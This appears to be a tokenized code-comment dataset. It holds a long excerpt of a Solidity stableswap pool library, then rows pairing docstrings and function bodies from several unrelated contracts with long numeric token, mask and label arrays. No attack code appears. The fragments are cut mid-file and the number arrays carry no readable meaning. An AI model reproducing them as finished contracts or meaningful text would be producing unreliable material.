* use the amount that gets transferred after the fee.
* @return dy the number of tokens the user will get
*/
function calculateSwapUnderlying(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx
) external view returns (uint256) {
CalculateSwapUnderlyingInfo memory v = CalculateSwapUnderlyingInfo(
_getBaseVirtualPrice(driftingMetaSwapStorage),
driftingMetaSwapStorage.baseSwap,
uint8(driftingMetaSwapStorage.baseTokens.length),
0,
0,
0
);
uint256[] memory xp = _xp(self, driftingMetaSwapStorage, v.baseVirtualPrice);
uint256[] memory scaleMultipliers = _getScaleMultipliers(self, driftingMetaSwapStorage);
{
uint8 maxRange = BASE_LP_TOKEN_INDEX + v.baseTokensLength;
require(
tokenIndexFrom < maxRange && tokenIndexTo < maxRange,
"Token index out of range"
);
}
if (tokenIndexFrom < BASE_LP_TOKEN_INDEX) {
v.x = xp[tokenIndexFrom].add(dx.mul(scaleMultipliers[tokenIndexFrom]).div(PRECISION));
} else {
// tokenFrom is from the base pool
tokenIndexFrom = tokenIndexFrom - BASE_LP_TOKEN_INDEX;
if (tokenIndexTo < BASE_LP_TOKEN_INDEX) {
uint256[] memory baseInputs = new uint256[](v.baseTokensLength);
baseInputs[tokenIndexFrom] = dx;
v.x = v
.baseSwap
.calculateTokenAmount(baseInputs, true)
.mul(v.baseVirtualPrice)
.div(PRECISION)
.add(xp[BASE_LP_TOKEN_INDEX]);
} else {
// both from and to are from the base pool
return
v.baseSwap.calculateSwap(
tokenIndexFrom,
tokenIndexTo - BASE_LP_TOKEN_INDEX,
dx
);
}
tokenIndexFrom = BASE_LP_TOKEN_INDEX;
}
v.metaIndexTo = BASE_LP_TOKEN_INDEX;
if (tokenIndexTo < BASE_LP_TOKEN_INDEX) {
v.metaIndexTo = tokenIndexTo;
}
{
uint256 y = SwapUtils.getY(
self._getAPrecise(),
tokenIndexFrom,
v.metaIndexTo,
v.x,
xp
);
v.dy = xp[v.metaIndexTo].sub(y).sub(1);
uint256 dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR);
v.dy = v.dy.sub(dyFee);
}
if (tokenIndexTo < BASE_LP_TOKEN_INDEX) {
// tokenTo is from this pool
v.dy = v.dy.mul(PRECISION).div(scaleMultipliers[v.metaIndexTo]);
} else {
// tokenTo is from the base pool
v.dy = v.baseSwap.calculateRemoveLiquidityOneToken(
v.dy.mul(PRECISION).div(v.baseVirtualPrice),
tokenIndexTo - BASE_LP_TOKEN_INDEX
);
}
return v.dy;
}
/**
* @notice A simple method to calculate prices from deposits or
* withdrawals, excluding fees but including slippage. This is
* helpful as an input into the various "min" parameters on calls
* to fight front-running
*
* @dev This shouldn't be used outside frontends for user estimates.
*
* @param self Swap struct to read from
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from
* @param amounts an array of token amounts to deposit or withdrawal,
* corresponding to pooledTokens. The amount should be in each
* pooled token's native precision. If a token charges a fee on transfers,
* use the amount that gets transferred after the fee.
* @param deposit whether this is a deposit or a withdrawal
* @return if deposit was true, total amount of lp token that will be minted and if
* deposit was false, total amount of lp token that will be burned
*/
function calculateTokenAmount(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint256[] calldata amounts,
bool deposit
) external view returns (uint256) {
CalculateTokenAmountInfo memory v = CalculateTokenAmountInfo(
self._getAPrecise(),
0,
0,
_getBaseVirtualPrice(driftingMetaSwapStorage)
);
{
uint256[] memory balances1 = self.balances;
uint256[] memory scaleMultipliers = _getScaleMultipliers(self, driftingMetaSwapStorage);
uint256 numTokens = balances1.length;
v.d0 = SwapUtils.getD(
_xp(
balances1,
scaleMultipliers,
v.baseVirtualPrice
),
v.a
);
for (uint256 i = 0; i < numTokens; i++) {
if (deposit) {
balances1[i] = balances1[i].add(amounts[i]);
} else {
balances1[i] = balances1[i].sub(
amounts[i],
"Cannot withdraw more than available"
);
}
}
v.d1 = SwapUtils.getD(
_xp(
balances1,
scaleMultipliers,
v.baseVirtualPrice
),
v.a
);
}
uint256 totalSupply = self.lpToken.totalSupply();
if (deposit) {
return v.d1.sub(v.d0).mul(totalSupply).div(v.d0);
} else {
return v.d0.sub(v.d1).mul(totalSupply).div(v.d0);
}
}
/*** STATE MODIFYING FUNCTIONS ***/
/**
* @notice swap two tokens in the pool
* @param self Swap struct to read from and write to
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from and write to
* @param tokenIndexFrom the token the user wants to sell
* @param tokenIndexTo the token the user wants to buy
* @param dx the amount of tokens the user wants to sell
* @param minDy the min amount the user would like to receive, or revert.
* @return amount of token user received on swap
*/
function swap(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy
) external returns (uint256) {
SwapInfo memory v = SwapInfo(
0,
0,
0,
0,
_getScaleMultipliers(self, driftingMetaSwapStorage)
);
{
uint256 pooledTokensLength = self.pooledTokens.length;
require(
tokenIndexFrom < pooledTokensLength &&
tokenIndexTo < pooledTokensLength,
"Token index is out of range"
);
}
{
IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom];
require(
dx <= tokenFrom.balanceOf(msg.sender),
"Cannot swap more than you own"
);
{
// Transfer tokens first to see if a fee was charged on transfer
uint256 beforeBalance = tokenFrom.balanceOf(address(this));
tokenFrom.safeTransferFrom(msg.sender, address(this), dx);
// Use the actual transferred amount for AMM math
v.transferredDx = tokenFrom.balanceOf(address(this)).sub(
beforeBalance
);
}
}
(v.dy, v.dyFee) = _calculateSwap(
self,
driftingMetaSwapStorage,
tokenIndexFrom,
tokenIndexTo,
v.transferredDx,
_updateBaseVirtualPrice(driftingMetaSwapStorage)
);
require(v.dy >= minDy, "Swap didn't result in min tokens");
v.dyAdminFee = v.dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).mul(PRECISION).div(
v.scaleMultipliers[tokenIndexTo]
);
self.balances[tokenIndexFrom] = self.balances[tokenIndexFrom].add(
v.transferredDx
);
self.balances[tokenIndexTo] = self.balances[tokenIndexTo].sub(v.dy).sub(
v.dyAdminFee
);
self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, v.dy);
emit TokenSwap(
msg.sender,
v.transferredDx,
v.dy,
tokenIndexFrom,
tokenIndexTo
);
return v.dy;
}
/**
* @notice Swaps with the underlying tokens of the base Swap pool. For this function,
* the token indices are flattened out so that underlying tokens are represented
* in the indices.
* @dev Since this calls multiple external functions during the execution,
* it is recommended to protect any function that depends on this with reentrancy guards.
* @param self Swap struct to read from and write to
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from and write to
* @param tokenIndexFrom the token the user wants to sell
* @param tokenIndexTo the token the user wants to buy
* @param dx the amount of tokens the user wants to sell
* @param minDy the min amount the user would like to receive, or revert.
* @return amount of token user received on swap
*/
function swapUnderlying(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy
) external returns (uint256) {
SwapUnderlyingInfo memory v = SwapUnderlyingInfo(
0,
0,
0,
_getScaleMultipliers(self, driftingMetaSwapStorage),
self.balances,
driftingMetaSwapStorage.baseTokens,
IERC20(address(0)),
0,
IERC20(address(0)),
0,
_updateBaseVirtualPrice(driftingMetaSwapStorage)
);
{
uint8 maxRange = uint8(BASE_LP_TOKEN_INDEX + v.baseTokens.length);
require(
tokenIndexFrom < maxRange && tokenIndexTo < maxRange,
"Token index out of range"
);
}
ISwap baseSwap = driftingMetaSwapStorage.baseSwap;
// Find the address of the token swapping from and the index in DriftingMetaSwap's token list
if (tokenIndexFrom < BASE_LP_TOKEN_INDEX) {
v.tokenFrom = self.pooledTokens[tokenIndexFrom];
v.metaIndexFrom = tokenIndexFrom;
} else {
v.tokenFrom = v.baseTokens[tokenIndexFrom - BASE_LP_TOKEN_INDEX];
v.metaIndexFrom = BASE_LP_TOKEN_INDEX;
}
// Find the address of the token swapping to and the index in DriftingMetaSwap's token list
if (tokenIndexTo < BASE_LP_TOKEN_INDEX) {
v.tokenTo = self.pooledTokens[tokenIndexTo];
v.metaIndexTo = tokenIndexTo;
} else {
v.tokenTo = v.baseTokens[tokenIndexTo - BASE_LP_TOKEN_INDEX];
v.metaIndexTo = BASE_LP_TOKEN_INDEX;
}
// Check for possible fee on transfer
v.dx = v.tokenFrom.balanceOf(address(this));
v.tokenFrom.safeTransferFrom(msg.sender, address(this), dx);
v.dx = v.tokenFrom.balanceOf(address(this)).sub(v.dx); // update dx in case of fee on transfer
if (
tokenIndexFrom < BASE_LP_TOKEN_INDEX || tokenIndexTo < BASE_LP_TOKEN_INDEX
) {
// Either one of the tokens belongs to the DriftingMetaSwap tokens list
uint256[] memory xp = _xp(
v.oldBalances,
v.scaleMultipliers,
v.baseVirtualPrice
);
if (tokenIndexFrom < BASE_LP_TOKEN_INDEX) {
// Swapping from a DriftingMetaSwap token
v.x = xp[tokenIndexFrom].add(
dx.mul(v.scaleMultipliers[tokenIndexFrom]).div(PRECISION)
);
} else {
// Swapping from a base Swap token
// This case requires adding the underlying token to the base Swap, then
// using the base LP token to swap to the desired token
uint256[] memory baseAmounts = new uint256[](
v.baseTokens.length
);
baseAmounts[tokenIndexFrom - BASE_LP_TOKEN_INDEX] = v.dx;
// Add liquidity to the underlying Swap contract and receive base LP token
v.dx = baseSwap.addLiquidity(baseAmounts, 0, block.timestamp);
// Calculate the value of total amount of baseLPToken we end up with
v.x = v
.dx
.mul(v.baseVirtualPrice)
.div(PRECISION)
.add(xp[BASE_LP_TOKEN_INDEX]);
}
// Calculate how much to withdraw in DriftingMetaSwap level and the the associated swap fee
uint256 dyFee;
{
uint256 y = SwapUtils.getY(
self._getAPrecise(),
v.metaIndexFrom,
v.metaIndexTo,
v.x,
xp
);
v.dy = xp[v.metaIndexTo].sub(y).sub(1);
dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR);
v.dy = v.dy.sub(dyFee).mul(PRECISION).div(v.scaleMultipliers[v.metaIndexTo]);
}
if (tokenIndexTo >= BASE_LP_TOKEN_INDEX) {
// When swapping to a base Swap token, scale down dy by its virtual price
v.dy = v.dy.mul(PRECISION).div(
v.baseVirtualPrice
);
}
// Update the balances array according to the calculated input and output amount
{
uint256 dyAdminFee = dyFee.mul(self.adminFee).div(
FEE_DENOMINATOR
);
dyAdminFee = dyAdminFee.mul(PRECISION).div(
v.scaleMultipliers[v.metaIndexTo]
);
self.balances[v.metaIndexFrom] = v
.oldBalances[v.metaIndexFrom]
.add(v.dx);
self.balances[v.metaIndexTo] = v
.oldBalances[v.metaIndexTo]
.sub(v.dy)
.sub(dyAdminFee);
}
if (tokenIndexTo >= BASE_LP_TOKEN_INDEX) {
// When swapping to a token that belongs to the base Swap, burn the LP token
// and withdraw the desired token from the base pool
uint256 oldBalance = v.tokenTo.balanceOf(address(this));
baseSwap.removeLiquidityOneToken(
v.dy,
tokenIndexTo - BASE_LP_TOKEN_INDEX,
0,
block.timestamp
);
v.dy = v.tokenTo.balanceOf(address(this)) - oldBalance;
}
// Check the amount of token to send meets minDy
require(v.dy >= minDy, "Swap didn't result in min tokens");
} else {
// Both tokens are from the base Swap pool
// Do a swap through the base Swap
v.dy = v.tokenTo.balanceOf(address(this));
baseSwap.swap(
tokenIndexFrom - BASE_LP_TOKEN_INDEX,
tokenIndexTo - BASE_LP_TOKEN_INDEX,
v.dx,
minDy,
block.timestamp
);
v.dy = v.tokenTo.balanceOf(address(this)).sub(v.dy);
}
// Send the desired token to the caller
v.tokenTo.safeTransfer(msg.sender, v.dy);
emit TokenSwapUnderlying(
msg.sender,
dx,
v.dy,
tokenIndexFrom,
tokenIndexTo
);
return v.dy;
}
/**
* @notice Add liquidity to the pool
* @param self Swap struct to read from and write to
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from and write to
* @param amounts the amounts of each token to add, in their native precision
* @param minToMint the minimum LP tokens adding this amount of liquidity
* should mint, otherwise revert. Handy for front-running mitigation
* allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored.
* @return amount of LP token user received
*/
function addLiquidity(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint256[] memory amounts,
uint256 minToMint
) external returns (uint256) {
IERC20[] memory pooledTokens = self.pooledTokens;
require(
amounts.length == pooledTokens.length,
"Amounts must match pooled tokens"
);
uint256[] memory fees = new uint256[](pooledTokens.length);
// current state
ManageLiquidityInfo memory v = ManageLiquidityInfo(
0,
0,
0,
self.lpToken,
0,
self._getAPrecise(),
_updateBaseVirtualPrice(driftingMetaSwapStorage),
_getScaleMultipliers(self, driftingMetaSwapStorage),
self.balances
);
v.totalSupply = v.lpToken.totalSupply();
if (v.totalSupply != 0) {
v.d0 = SwapUtils.getD(
_xp(
v.newBalances,
v.scaleMultipliers,
v.baseVirtualPrice
),
v.preciseA
);
}
for (uint256 i = 0; i < pooledTokens.length; i++) {
require(
v.totalSupply != 0 || amounts[i] > 0,
"Must supply all tokens in pool"
);
// Transfer tokens first to see if a fee was charged on transfer
if (amounts[i] != 0) {
uint256 beforeBalance = pooledTokens[i].balanceOf(
address(this)
);
pooledTokens[i].safeTransferFrom(
msg.sender,
address(this),
amounts[i]
);
// Update the amounts[] with actual transfer amount
amounts[i] = pooledTokens[i].balanceOf(address(this)).sub(
beforeBalance
);
}
v.newBalances[i] = v.newBalances[i].add(amounts[i]);
}
// invariant after change
v.d1 = SwapUtils.getD(
_xp(v.newBalances, v.scaleMultipliers, v.baseVirtualPrice),
v.preciseA
);
require(v.d1 > v.d0, "D should increase");
// updated to reflect fees and calculate the user's LP tokens
v.d2 = v.d1;
uint256 toMint;
if (v.totalSupply != 0) {
uint256 feePerToken = SwapUtils._feePerToken(
self.swapFee,
pooledTokens.length
);
for (uint256 i = 0; i < pooledTokens.length; i++) {
uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0);
fees[i] = feePerToken
.mul(idealBalance.difference(v.newBalances[i]))
.div(FEE_DENOMINATOR);
self.balances[i] = v.newBalances[i].sub(
fees[i].mul(self.adminFee).div(FEE_DENOMINATOR)
);
v.newBalances[i] = v.newBalances[i].sub(fees[i]);
}
v.d2 = SwapUtils.getD(
_xp(
v.newBalances,
v.scaleMultipliers,
v.baseVirtualPrice
),
v.preciseA
);
toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0);
} else {
// the initial depositor doesn't pay fees
self.balances = v.newBalances;
toMint = v.d1;
}
require(toMint >= minToMint, "Couldn't mint min requested");
// mint the user's LP tokens
self.lpToken.mint(msg.sender, toMint);
emit AddLiquidity(
msg.sender,
amounts,
fees,
v.d1,
v.totalSupply.add(toMint)
);
return toMint;
}
/**
* @notice Remove liquidity from the pool all in one token.
* @param self Swap struct to read from and write to
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from and write to
* @param tokenAmount the amount of the lp tokens to burn
* @param tokenIndex the index of the token you want to receive
* @param minAmount the minimum amount to withdraw, otherwise revert
* @return amount chosen token that user received
*/
function removeLiquidityOneToken(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint256 tokenAmount,
uint8 tokenIndex,
uint256 minAmount
) external returns (uint256) {
LPToken lpToken = self.lpToken;
uint256 totalSupply = lpToken.totalSupply();
uint256 numTokens = self.pooledTokens.length;
require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf");
require(tokenIndex < numTokens, "Token not found");
uint256 dyFee;
uint256 dy;
(dy, dyFee) = _calculateWithdrawOneToken(
self,
driftingMetaSwapStorage,
tokenAmount,
tokenIndex,
_updateBaseVirtualPrice(driftingMetaSwapStorage),
totalSupply
);
require(dy >= minAmount, "dy < minAmount");
// Update balances array
self.balances[tokenIndex] = self.balances[tokenIndex].sub(
dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR))
);
// Burn the associated LP token from the caller and send the desired token
lpToken.burnFrom(msg.sender, tokenAmount);
self.pooledTokens[tokenIndex].safeTransfer(msg.sender, dy);
emit RemoveLiquidityOne(
msg.sender,
tokenAmount,
totalSupply,
tokenIndex,
dy
);
return dy;
}
/**
* @notice Remove liquidity from the pool, weighted differently than the
* pool's current balances.
*
* @param self Swap struct to read from and write to
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from and write to
* @param amounts how much of each token to withdraw
* @param maxBurnAmount the max LP token provider is willing to pay to
* remove liquidity. Useful as a front-running mitigation.
* @return actual amount of LP tokens burned in the withdrawal
*/
function removeLiquidityImbalance(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint256[] memory amounts,
uint256 maxBurnAmount
) public returns (uint256) {
// Using this struct to avoid stack too deep error
ManageLiquidityInfo memory v = ManageLiquidityInfo(
0,
0,
0,
self.lpToken,
0,
self._getAPrecise(),
_updateBaseVirtualPrice(driftingMetaSwapStorage),
_getScaleMultipliers(self, driftingMetaSwapStorage),
self.balances
);
v.totalSupply = v.lpToken.totalSupply();
require(
amounts.length == v.newBalances.length,
"Amounts should match pool tokens"
);
require(maxBurnAmount != 0, "Must burn more than 0");
uint256 feePerToken = SwapUtils._feePerToken(
self.swapFee,
v.newBalances.length
);
// Calculate how much LPToken should be burned
uint256[] memory fees = new uint256[](v.newBalances.length);
{
uint256[] memory balances1 = new uint256[](v.newBalances.length);
v.d0 = SwapUtils.getD(
_xp(
v.newBalances,
v.scaleMultipliers,
v.baseVirtualPrice
),
v.preciseA
);
for (uint256 i = 0; i < v.newBalances.length; i++) {
balances1[i] = v.newBalances[i].sub(
amounts[i],
"Cannot withdraw more than available"
);
}
v.d1 = SwapUtils.getD(
_xp(balances1, v.scaleMultipliers, v.baseVirtualPrice),
v.preciseA
);
for (uint256 i = 0; i < v.newBalances.length; i++) {
uint256 idealBalance = v.d1.mul(v.newBalances[i]).div(v.d0);
uint256 difference = idealBalance.difference(balances1[i]);
fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR);
self.balances[i] = balances1[i].sub(
fees[i].mul(self.adminFee).div(FEE_DENOMINATOR)
);
balances1[i] = balances1[i].sub(fees[i]);
}
v.d2 = SwapUtils.getD(
_xp(balances1, v.scaleMultipliers, v.baseVirtualPrice),
v.preciseA
);
}
uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0);
require(tokenAmount != 0, "Burnt amount cannot be zero");
// Scale up by withdraw fee
tokenAmount = tokenAmount.add(1);
// Check for max burn amount
require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount");
// Burn the calculated amount of LPToken from the caller and send the desired tokens
v.lpToken.burnFrom(msg.sender, tokenAmount);
for (uint256 i = 0; i < v.newBalances.length; i++) {
self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]);
}
emit RemoveLiquidityImbalance(
msg.sender,
amounts,
fees,
v.d1,
v.totalSupply.sub(tokenAmount)
);
return tokenAmount;
}
/**
* @notice Determines if the stored value of base Swap's virtual price is expired.
* If the last update was past the BASE_CACHE_EXPIRE_TIME, then update the stored value.
*
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from and write to
* @return base Swap's virtual price
*/
function _updateBaseVirtualPrice(DriftingMetaSwap storage driftingMetaSwapStorage)
internal
returns (uint256)
{
if (
block.timestamp >
driftingMetaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME
) {
// When the cache is expired, update it
uint256 baseVirtualPrice = ISwap(driftingMetaSwapStorage.baseSwap)
.getVirtualPrice();
driftingMetaSwapStorage.baseVirtualPrice = baseVirtualPrice;
driftingMetaSwapStorage.baseCacheLastUpdated = block.timestamp;
return baseVirtualPrice;
} else {
return driftingMetaSwapStorage.baseVirtualPrice;
}
}
}
| * @notice Return the stored value of base Swap's virtual price. If value was updated past BASE_CACHE_EXPIRE_TIME, then read it directly from the base Swap contract. @param driftingMetaSwapStorage DriftingMetaSwap struct to read from @return base Swap's virtual price/ | function _getBaseVirtualPrice(DriftingMetaSwap storage driftingMetaSwapStorage)
internal
view
returns (uint256)
{
if (
block.timestamp >
driftingMetaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME
) {
return driftingMetaSwapStorage.baseSwap.getVirtualPrice();
}
return driftingMetaSwapStorage.baseVirtualPrice;
}
| 1,087,869 | [
1,
990,
326,
4041,
460,
434,
1026,
12738,
1807,
5024,
6205,
18,
971,
460,
1703,
3526,
8854,
10250,
67,
8495,
67,
18433,
862,
67,
4684,
16,
1508,
855,
518,
5122,
628,
326,
1026,
12738,
6835,
18,
225,
5081,
430,
1787,
2781,
12521,
3245,
11473,
430,
1787,
2781,
12521,
1958,
358,
855,
628,
327,
1026,
12738,
1807,
5024,
6205,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
588,
2171,
6466,
5147,
12,
8956,
430,
1787,
2781,
12521,
2502,
5081,
430,
1787,
2781,
12521,
3245,
13,
203,
3639,
2713,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
309,
261,
203,
5411,
1203,
18,
5508,
405,
203,
5411,
5081,
430,
1787,
2781,
12521,
3245,
18,
1969,
1649,
3024,
7381,
397,
10250,
67,
8495,
67,
18433,
862,
67,
4684,
203,
3639,
262,
288,
203,
5411,
327,
5081,
430,
1787,
2781,
12521,
3245,
18,
1969,
12521,
18,
588,
6466,
5147,
5621,
203,
3639,
289,
203,
3639,
327,
5081,
430,
1787,
2781,
12521,
3245,
18,
1969,
6466,
5147,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x85Ff72ef23C559881589Daa5C8Ed9698124eDE72/sources/lib/seaport-types/src/helpers/PointerLibraries.sol | @dev Reads the uint64 at `mPtr` in memory. | function readUint64(
MemoryPointer mPtr
) internal pure returns (uint64 value) {
assembly ("memory-safe") {
value := mload(mPtr)
}
}
| 8,452,081 | [
1,
7483,
326,
2254,
1105,
622,
1375,
81,
5263,
68,
316,
3778,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
855,
5487,
1105,
12,
203,
3639,
9251,
4926,
312,
5263,
203,
565,
262,
2713,
16618,
1135,
261,
11890,
1105,
460,
13,
288,
203,
3639,
19931,
7566,
7858,
17,
4626,
7923,
288,
203,
5411,
460,
519,
312,
945,
12,
81,
5263,
13,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xB10daee1FCF62243aE27776D7a92D39dC8740f95/sources/src/abstracts/SablierV2Base.sol | Effects: set the protocol revenues to zero. | protocolRevenues[asset] = 0;
| 9,308,438 | [
1,
29013,
30,
444,
326,
1771,
5588,
2104,
281,
358,
3634,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
